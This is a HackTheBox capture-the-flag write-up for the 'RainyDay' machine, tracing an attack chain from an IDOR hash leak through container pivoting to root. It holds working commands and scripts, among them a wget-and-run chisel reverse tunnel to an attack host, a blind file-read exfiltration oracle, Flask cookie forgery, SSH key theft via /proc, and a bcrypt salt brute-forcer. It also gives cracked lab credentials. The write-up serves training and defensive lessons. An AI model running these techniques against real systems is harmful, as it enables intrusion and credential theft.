HTB: RainyDay Writeup
RainyDay - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | RainyDay |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.X |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆ (no published CVE — every step is an application-specific logic flaw)
- CTF-like: ⭐⭐⭐⭐☆
Summary
RainyDay is a container-orchestration web application that lets authenticated users spin up and control their own Docker containers. Registration is closed, but a REST API endpoint meant only for internal lookups is exposed to the outside world and coerces its ID parameter in a way that lets an unauthenticated caller dump every user record — usernames and bcrypt password hashes included. One of those hashes cracks to a usable password, unlocking the container-management UI. From there, the container itself becomes a pivot point: its “internal” Docker network reaches an otherwise firewalled vhost and a debug/healthcheck endpoint that acts as a blind file-read oracle. Reading the app’s own source through that oracle leaks the Flask session-signing secret, which is enough to forge a session for a privileged user and reach a second, secrets-holding container. That container turns out to share the host’s PID namespace with a running process — a design mistake that hands over a filesystem path straight into the host’s /home directory. SSH access to the host follows from a leaked private key, and privilege escalation runs through a deliberately-broken Python sandbox and a bcrypt maximum-input-length bug that lets an attacker brute-force a “secret” salt baked into a root-run hashing script.
TL;DR: IDOR on /api/user/<id>.0 leaks bcrypt hashes → crack gary:rubberducky → log in and spawn a Docker container → tunnel a SOCKS proxy through the container’s internal network with chisel → reach the internal dev vhost and its /api/healthcheck blind file-read oracle → leak Flask SECRET_KEY from secrets.py → forge a session cookie for jack with flask-unsign → land in jack’s secrets container → find a process sharing the host PID namespace → read user.txt and jack’s SSH key through /proc/<pid>/cwd → SSH in as jack → escape the safe_python sandbox via a subclass gadget that reaches sys.modules['os'] → get code execution as jack_adm → abuse bcrypt’s 71-byte input truncation in a root-run hashing script to brute-force the hidden salt (H34vyR41n) via emoji padding → crack root’s leaked hash into 246813579H34vyR41n → su root (password reuse) → root.txt.
Reconnaissance
Port Scanning
# Full TCP sweep, then a version/script scan against whatever came backnmap -p- --min-rate=1000 -T4 <TARGET_IP>nmap -p22,80 -sC -sV <TARGET_IP>Results: the exposed surface was small — SSH on 22/tcp and a single Nginx-fronted web application on 80/tcp. Every subsequent step in this box happens through that one web application; there is no secondary service to enumerate.
Service Enumeration
The web app’s landing page describes a platform where logged-in users can create and run Docker containers, and hints at both a REST API and a container named secrets belonging to a user jack. Registration was closed (the sign-up form actively refused new accounts), so the path forward had to run through either recoverable credentials or the API itself.
Poking at the API surface turned up a /api/user/<id> route alongside a /api/healthcheck route that was reachable in name only — it returned an access-denied response from the outside, a strong signal that it’s meant to be called from an internal network the container platform itself has access to.
Vulnerability Assessment
- IDOR / type-confusion on
/api/user/<id>— the route expects an integer ID and refuses non-numeric input outright, but a coerced numeric value (<id>.0, i.e. a float) slides past whatever strict-integer check gates the endpoint and lands in a handler that returns the full serialized user record — password hash included — instead of a single scoped lookup. - Weak/reused credentials — one of the three leaked bcrypt hashes cracks against a common wordlist.
- Container network trusted as “internal” — containers spun up by the platform sit on a Docker bridge network that the backend treats as trusted, so anything reachable from inside a container (the
devvhost,/api/healthcheck) is implicitly exposed to any user who can create one. - Blind file-read oracle on
/api/healthcheck— aCUSTOMregex-pattern mode lets an authenticated internal caller test arbitrary regex against arbitrary file contents, which is enough to exfiltrate any file the web server can read, one byte at a time. - Flask session forgery once
SECRET_KEYleaks — sessions are unsigneditsdangerouscookies; anyone holding the key can mint a cookie for any username. - Shared PID namespace between a container and the host — a container process was launched in a way that put it in the host’s PID namespace, so
/proc/<pid>/cwdfor that process resolves to a real directory on the host filesystem, not the container’s own view of/. safe_pythonsandbox is escapable — the restricted interpreter blocks__import__and friends but doesn’t block reachability ofsysthrough existing object graphs.- bcrypt’s 72-byte (71 usable + implicit terminator) input cap, combined with a fixed-length secret salt appended server-side, lets an attacker learn the salt byte-by-byte by controlling how much of their own input survives truncation.
Initial Foothold
Exploiting the /api/user IDOR
The /api/user/<id> route rejected obviously-wrong input, but passing a float instead of a bare integer changed its behavior entirely:
# A bare integer ID returns a scoped error; a coerced float slips past the type checkcurl http://<TARGET_IP>/api/user/1.0The response leaked full user records — usernames and bcrypt hashes for the entire user table (jack, root, and gary). One password checked out directly against the fetched hash for gary:
gary:rubberduckyThat credential logs straight into the web app’s normal login form — no cracking session needed once the hash/candidate pairing was confirmed against the live data pulled from the IDOR.
Pivoting through a self-service container
Logged in as gary, the platform’s “New Container” flow spins up a Docker container the user fully controls, including an “execute command” feature (and a background variant for long-running processes). Checking the container’s own network configuration confirmed it sits on a Docker bridge that the application’s backend treats as internal — exactly the network the outside-facing /api/healthcheck refuses to talk to.
Getting a tunnel out of the container required a chisel client running inside it. The jump box normally used for this kind of pivot only had a dynamically-linked chisel build available, which failed to run against the container’s Alpine/musl libc — the fix was pulling a statically-linked chisel binary instead, so it had no runtime linker dependency to satisfy:
# On the attack box: chisel server, reverse mode, waiting for the container to call home./chisel server --reverse -p 8000
# Inside the container (via the app's "execute command, background" feature):# a static build sidesteps the musl/glibc mismatch that broke the dynamic binarysh -c 'wget http://<attack-ip>/chisel-static -O /tmp/chisel; \ chmod +x /tmp/chisel; \ /tmp/chisel client <attack-ip>:8000 R:socks'With the reverse SOCKS proxy up, the internal dev vhost and /api/healthcheck were both reachable through the tunnel — no more access-denied response.
Turning the healthcheck endpoint into a file-read oracle
/api/healthcheck’s CUSTOM mode takes a file and a regex pattern and reports whether the pattern matches inside that file — a classic blind boolean oracle. A naive linear scan (try every printable character at each position) works but is slow; a binary-search variant over the character space cut total request count roughly 10x by halving the candidate character range per guess instead of iterating the full printable set one character at a time:
#!/usr/bin/env python3# Binary-search-optimized blind file-read oracle against /api/healthcheck.# Standard boolean-oracle exfil, but each character is resolved via a# range-narrowing bisection over an ordered charset instead of a linear scan —# this is what cut extraction time by roughly an order of magnitude.import requests
session = requests.Session()proxies = {"http": "socks5h://127.0.0.1:1080"}CHARSET = "\n" + "".join(chr(c) for c in range(0x20, 0x7f)) # ordered candidate set
def oracle(path, hex_prefix, hex_char): # Anchors the pattern at the already-confirmed prefix, so each probe only # tests one new byte position. r = session.post( "http://<dev-vhost>/api/healthcheck", data={"file": path, "type": "CUSTOM", "pattern": f"^{hex_prefix}{hex_char}"}, proxies=proxies, timeout=10, ) return r.json().get("result", False)
def resolve_char(path, hex_prefix, charset): # Binary search: ask "is the real char in the lower half of the ordered # charset" via an alternation pattern, instead of testing each char in turn. lo, hi = 0, len(charset) while hi - lo > 1: mid = (lo + hi) // 2 half = charset[lo:mid] pattern_half = "|".join(f"\\x{ord(c):02x}" for c in half) if oracle(path, hex_prefix, f"({pattern_half})"): hi = mid else: lo = mid return charset[lo]
def dump_file(path): extracted, hex_prefix = "", "" while True: c = resolve_char(path, hex_prefix, CHARSET) if c == "\n" and extracted.endswith("\n"): break extracted += c hex_prefix += f"\\x{ord(c):02x}" return extractedRunning this against the app’s own source (app.py, known from the healthcheck’s own path disclosure) showed a from secrets import SECRET_KEY import — a strong hint that a sibling secrets.py module held the actual key. Pointing the same oracle at that file leaked the live Flask SECRET_KEY.
Forging a session for jack
With the signing key in hand, flask-unsign both confirmed the key was correct (by re-signing the current session and matching the existing cookie) and minted a fresh one for the user who owns the secrets container:
# Verify the leaked key actually signs this app's session cookiesflask-unsign --unsign --cookie '<current-session-cookie>' -w <(echo '<leaked-secret-key>')
# Forge a session for jack — no password needed, just the signing keyflask-unsign --sign --secret '<leaked-secret-key>' --cookie '{"username": "jack"}'Swapping the browser’s session cookie for the forged one granted access to jack’s containers, including secrets.
Shared PID namespace → user.txt and an SSH key
Inside the secrets container, process enumeration turned up a process that had no business existing in an otherwise-empty container. That process’s PID pointed at something running with the host’s PID namespace rather than the container’s own — a Docker misconfiguration (namespace sharing) rather than any exploit. Following that process’s working directory disclosed a live path back onto the host filesystem:
# The container "sees" a process that isn't its own — a strong shared-namespace tellps -ef
# /proc/<pid>/cwd resolves through into the HOST's filesystem, not the container'sls -la /proc/<pid>/cwdcat /proc/<pid>/cwd/user.txtcat /proc/<pid>/cwd/.ssh/id_rsaUser Flag: <redacted>That SSH private key belonged to jack, and its permissions were fixed up before use:
chmod 600 id_rsassh -i id_rsa jack@<TARGET_IP>Privilege Escalation
jack → jack_adm: escaping safe_python
sudo -l as jack showed permission to run an arbitrary script through a wrapper called safe_python as jack_adm. The wrapper blocks the obvious escape routes (__import__, open, direct os access), but it doesn’t — and can’t easily — cut off every path back to a live sys module reference, because CPython’s object graph already holds one. The classic “code execution in every version of Python 3 without imports” trick walks the class hierarchy from a builtin object, finds a subclass that keeps a reference to sys as an instance attribute (rather than importing it fresh), and uses that reference to reach sys.modules['os'] directly — no import statement required, so nothing the wrapper blocks ever fires:
# Reach sys without ever writing the word "import" — walk the base object's# subclass tree until a gadget class with a live sys/module reference turns up,# then pivot from sys.modules['os'] to full command execution.class Gadget(object.__subclasses__()[0].__subclasses__()[0]): pass
# (exact gadget class/index varies by CPython build; the technique is walking# object -> subclasses() looking for one that already holds a module reference)Running a payload built on this gadget through safe_python returned command execution as jack_adm instead of the intended sandboxed print statement.
jack_adm → root: bcrypt truncation + salt brute-force
sudo -l as jack_adm revealed permission to run /opt/hash_system/hash_password.py as root. The script hashes a user-supplied password (capped at a small length) with bcrypt — but bcrypt itself has a hard 72-byte input limit (71 usable bytes plus an implicit terminating byte). If the script appends a fixed secret salt to the user’s input server-side before hashing, and the combined length exceeds bcrypt’s cutoff, then only whatever fits within those 71 bytes actually affects the resulting hash — including however much of the salt spills into that window once the attacker’s own contribution is padded out to consume nearly all of it.
Padding with 4-byte UTF-8 emoji characters (instead of single-byte ASCII) lets an attacker control exactly how many bytes of their own input are consumed, byte-for-byte, so the boundary of the 71-byte window can be walked one salt character at a time:
# Bcrypt truncates at 71 usable bytes. Emoji are 4 bytes each in UTF-8, giving# byte-granular control over how much padding is consumed — walk the boundary# forward one byte per guess to leak the hidden salt character by character.import os, string, bcrypt
EMOJI = "\U0001F600" # 4 bytes in UTF-8
def pad_to(n): return EMOJI * (n // 4) + "A" * (n % 4)
def get_hash(known_salt=""): padding = pad_to(71 - len(known_salt)) out = os.popen(f"echo '{padding}' | sudo /opt/hash_system/hash_password.py").read() return out.split("Hash: ")[-1].strip()
def crack_next_char(h, known_salt): padding = pad_to(71 - len(known_salt)) for c in string.printable: if bcrypt.checkpw((padding + known_salt + c).encode(), h.encode()): return c return None
salt = ""while True: h = get_hash(salt) c = crack_next_char(h, salt) if c is None: break salt += cprint(f"Recovered salt: {salt}")This recovered the hidden salt: H34vyR41n.
That salt became a targeted John rule against the root bcrypt hash pulled earlier from the /api/user/<id>.0 IDOR:
[List.Rules:CustomRule]Az"H34vyR41n"john --rules:CustomRule --wordlist=/usr/share/wordlists/rockyou.txt root_hashCracking succeeded, yielding 246813579H34vyR41n — which turned out to be reused directly on the host:
su root# password: 246813579H34vyR41ncat /root/root.txtRoot Flag: <redacted>Attack Chain Summary
IDOR on /api/user/<id>.0 (float bypasses int check) → leaked bcrypt hashes for jack/root/gary → cracked gary:rubberducky → logged into web app, created a Docker container → statically-linked chisel SOCKS tunnel through container's internal network → reached internal dev vhost + /api/healthcheck → binary-search-optimized blind file-read oracle → leaked secrets.py → Flask SECRET_KEY → flask-unsign forged session cookie for jack → accessed jack's "secrets" container → found process sharing host PID namespace → /proc/<pid>/cwd → user.txt + jack's SSH private key → SSH as jack → safe_python sandbox escape (subclass gadget → sys.modules['os']) → code execution as jack_adm → bcrypt 71-byte truncation + emoji padding → brute-forced hidden salt (H34vyR41n) → John rule crack of root's leaked hash → 246813579H34vyR41n → su root (password reuse) → RootTools Used
| Tool | Purpose |
|---|---|
nmap | Initial port discovery |
curl / requests | Probing the API, driving the IDOR and the healthcheck oracle |
bcrypt (Python) | Verifying cracked candidates and brute-forcing the hidden salt |
chisel (static build) | Reverse SOCKS tunnel through the container’s internal network |
flask-unsign | Verifying the leaked SECRET_KEY and forging a session cookie for jack |
| Custom Python file-read oracle | Binary-search-optimized blind extraction of secrets.py |
| Python subclass gadget | Escaping the safe_python restricted interpreter |
ssh | Authenticating to the host as jack with the leaked key |
john (with a custom rule) | Cracking root’s bcrypt hash once the salt was known |
su | Final privilege escalation via password reuse |
Key Learnings
Techniques Practiced
- Exploiting type-coercion IDORs (float-vs-int) to bypass parameter validation
- Using a self-service container platform’s own compute as an internal-network pivot
- Building a binary-search-optimized blind file-read oracle to cut exfiltration time
- Flask session cookie forgery once the signing secret is recovered
- Recognizing and abusing shared Docker/host PID namespaces to cross a container boundary
- Escaping a restricted Python interpreter via live object-graph gadgets instead of blocked imports
- Brute-forcing a hidden bcrypt salt by exploiting the algorithm’s 72-byte input cap with multi-byte UTF-8 padding
Lessons Learned
- Type-permissive routing (accepting a float where only an int was intended) can silently change which code path handles a request — validate types strictly, not just “is this a number.”
- Treating a user-controlled Docker network as “internal” and therefore implicitly trusted collapses the boundary between untrusted tenants and internal-only services the moment the platform lets users run arbitrary containers on it.
- Any endpoint that returns a true/false signal about file contents is a full arbitrary-file-read primitive given enough requests — “healthcheck” and “debug” endpoints deserve the same access control as anything else.
- Sandboxing a language runtime by blocklisting specific builtins (
__import__,open, …) is fragile — anything already reachable through the live object graph (sys, loaded modules) is an escape hatch a blocklist can’t close. - bcrypt silently truncates input past 72 bytes; appending a secret server-side without accounting for attacker-controlled input length turns the algorithm’s own limitation into an oracle for that secret.
- Password reuse between a web application account and the underlying host account collapses two separate compromises into one — cracked application credentials should never be assumed safe to try elsewhere, but from an attacker’s seat, always try them.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- RainyDay - Official HackTheBox Writeup — HackTheBox official writeup by amra (Document No. D22.100.212), machine authored by InfoSecJack. Used here only to confirm the conceptual why behind each step (the IDOR’s type-confusion root cause, the Flask session-signing mechanics, the Docker shared-PID-namespace behavior, the CPython sandbox-escape gadget technique, and bcrypt’s 72-byte truncation issue) — all IPs, hostnames, commands, outputs, and credentials in this writeup are from this run’s own solve, not the reference.